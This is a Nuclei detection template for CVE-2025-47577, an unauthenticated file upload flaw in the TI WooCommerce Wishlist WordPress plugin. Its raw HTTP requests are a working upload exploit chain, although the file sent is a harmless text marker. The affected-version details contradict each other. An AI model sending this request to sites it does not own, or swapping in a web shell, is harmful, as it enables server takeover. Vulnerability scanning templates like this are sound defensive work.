id: CVE-2025-47577

info:
  name: TI WooCommerce Wishlist <= 2.9.2 - Arbitrary File Upload
  author: cehcvkr
  severity: high
  description: |
   TemplateInvaders TI WooCommerce Wishlist <= 2.10.0 contains an unrestricted file upload vulnerability caused by lack of proper file type validation, letting attackers upload web shells to the server, exploit requires no special privileges.
  impact: |
   Attackers can upload malicious web shells, leading to remote code execution and full server compromise.
  remediation: |
   Update to version 2.10.0 or later.
  reference:
    - https://patchstack.com/articles/unpatched-critical-vulnerability-in-ti-woocommerce-wishlist-plugin/
    - https://github.com/Yucaerin/CVE-2025-47577
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47577
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-47577
    epss-score: 0.33418
    epss-percentile: 0.96996
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: templateinvaders
    product: ti-woocommerce-wishlist
    publicwww-query: "/wp-content/plugins/ti-woocommerce-wishlist/"
  tags: cve,cve2025,wordpress,wp,wp-plugin,file-upload,ti-woocommerce-wishlist,rce,intrusive

flow: http(1) && http(2) && http(3) && http(4)

variables:
  upload_file: "{{rand_base(8)}}.txt"

http:
  - raw:
      - |
        GET /shop/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: product_id
        part: body
        group: 1
        regex:
          - 'data-tinv-wl-product="(\d+)"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "data-tinv-wl-product=")'
        internal: true
        condition: and

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150

        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="form[tinvwl-hidden-fields]"

        []
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="form[file]"


        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="file"; filename="{{upload_file}}"
        Content-Type: text/plain

        CVE-2025-47577-{{upload_file}}
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="tinv_wishlist_id"


        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="tinv_wishlist_name"


        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="product_type"

        simple
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="product_id"

        {{product_id}}
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="product_variation"

        0
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="product_action"

        addto
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="redirect"

        {{BaseURL}}/
        -----------------------------735323031399963166993862150--

    extractors:
      - type: json
        name: wishlist_url
        part: body
        json:
          - '.wishlist_url'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "wishlist_url")'
          - 'contains(content_type, "application/json")'
        internal: true
        condition: and

  - raw:
      - |
        GET {{wishlist_url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "wp-content", "uploads", upload_file)'
        internal: true
        condition: and

  - raw:
      - |
        GET /wp-content/uploads/{{date_time("2006")}}/{{date_time("01")}}/{{upload_file}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2025-47577-" + upload_file)'
        condition: and
# digest: 4a0a0047304502202030344a96cdc1764712fa6e0aa2f46aa0ca8f971ba792138eccc5747cee2916022100e1586880274010f88b048c372e91d9198f5ce20d59719bdc4c5456033eb038dd:922c64590222798bb761d5b6d8e72950